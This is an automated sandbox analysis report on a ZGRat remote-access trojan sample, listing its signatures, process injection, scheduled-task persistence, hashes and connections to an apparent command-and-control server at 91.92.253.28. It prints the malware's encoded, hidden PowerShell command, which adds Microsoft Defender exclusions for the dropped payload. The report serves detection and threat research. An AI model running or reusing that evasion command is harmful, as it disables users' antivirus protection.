Malware Analysis Report

2024-11-30 20:09

Sample ID 240509-ckn8asfd23
Target dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
Tags
zgrat execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09

Threat Level: Known bad

The file dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe was found to be: Known bad.

Malicious Activity Summary

zgrat execution rat

Detect ZGRat V1

ZGRat

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Executes dropped EXE

Drops file in System32 directory

Suspicious use of SetThreadContext

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-09 02:08

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-09 02:08

Reported

2024-05-09 02:10

Platform

win7-20231129-en

Max time kernel

138s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

ZGRat

rat zgrat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskeng.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2744 set thread context of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2648 wrote to memory of 2604 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2648 wrote to memory of 2604 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2648 wrote to memory of 2604 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2500 wrote to memory of 2744 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2500 wrote to memory of 2744 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2500 wrote to memory of 2744 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
PID 2744 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {8D6E645B-684A-457D-AE69-B32812BC78B0} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:S4U:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGwAYQB5AFMAaQBnAG4AXABUAHkAcABlAEkAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBsAGEAeQBTAGkAZwBuAFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=

C:\Windows\system32\taskeng.exe

taskeng.exe {0A74305F-B407-4E5B-9B8C-97AB6F87CA53} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Network

Country Destination Domain Proto
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp
NL 91.92.253.28:39003 tcp
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp

Files

memory/2352-0-0x000007FEF5DD3000-0x000007FEF5DD4000-memory.dmp

memory/2352-1-0x000000013FA40000-0x000000013FAE2000-memory.dmp

memory/2352-2-0x000000001B1E0000-0x000000001B2E4000-memory.dmp

memory/2352-3-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

memory/2352-4-0x00000000021E0000-0x0000000002236000-memory.dmp

memory/2352-5-0x0000000000950000-0x000000000099C000-memory.dmp

memory/2352-6-0x00000000023E0000-0x0000000002434000-memory.dmp

memory/2604-11-0x00000000019B0000-0x0000000001A30000-memory.dmp

memory/2604-12-0x000000001A2F0000-0x000000001A5D2000-memory.dmp

memory/2604-13-0x0000000000A20000-0x0000000000A28000-memory.dmp

memory/2352-16-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

MD5 9ffcbf13ec0d927ab745589c64dba569
SHA1 74e9aa1a9225f2acc5ee4aa86993970d3d6df5a8
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
SHA512 cb695ca80b70b6b09af9a43d13363aab86186ca0c44d1f324dfb4bb2d978873cde900efc87b4db0ff2b9d0a321b626a1de97c31a995f5c4e437b16ad3f96ae25

memory/2744-21-0x000000013F1E0000-0x000000013F282000-memory.dmp

memory/2744-22-0x0000000000A80000-0x0000000000AD4000-memory.dmp

memory/1904-23-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1904-25-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1904-27-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1904-29-0x000007FFFFFDE000-0x000007FFFFFDF000-memory.dmp

memory/1904-30-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1904-32-0x000000001B8C0000-0x000000001B9C4000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-09 02:08

Reported

2024-05-09 02:10

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

ZGRat

rat zgrat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1668 set thread context of 5056 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGwAYQB5AFMAaQBnAG4AXABUAHkAcABlAEkAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBsAGEAeQBTAGkAZwBuAFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 91.92.253.28:39003 tcp
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp
US 8.8.8.8:53 209.143.182.52.in-addr.arpa udp

Files

memory/4048-0-0x0000018920EB0000-0x0000018920F52000-memory.dmp

memory/4048-1-0x00007FFF10A13000-0x00007FFF10A15000-memory.dmp

memory/4048-2-0x000001893B3F0000-0x000001893B4F4000-memory.dmp

memory/4048-3-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

memory/4048-5-0x0000018922BB0000-0x0000018922BFC000-memory.dmp

memory/4048-4-0x0000018922B20000-0x0000018922B76000-memory.dmp

memory/4048-6-0x000001893B500000-0x000001893B554000-memory.dmp

memory/4612-7-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

memory/4612-8-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43tbxfk5.kia.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4612-18-0x000001C075D00000-0x000001C075D22000-memory.dmp

memory/4612-20-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

memory/4048-24-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

MD5 9ffcbf13ec0d927ab745589c64dba569
SHA1 74e9aa1a9225f2acc5ee4aa86993970d3d6df5a8
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
SHA512 cb695ca80b70b6b09af9a43d13363aab86186ca0c44d1f324dfb4bb2d978873cde900efc87b4db0ff2b9d0a321b626a1de97c31a995f5c4e437b16ad3f96ae25

memory/1668-27-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp

memory/5056-30-0x000001C5FDF10000-0x000001C5FE014000-memory.dmp

memory/1668-31-0x00007FFF10A10000-0x00007FFF114D1000-memory.dmp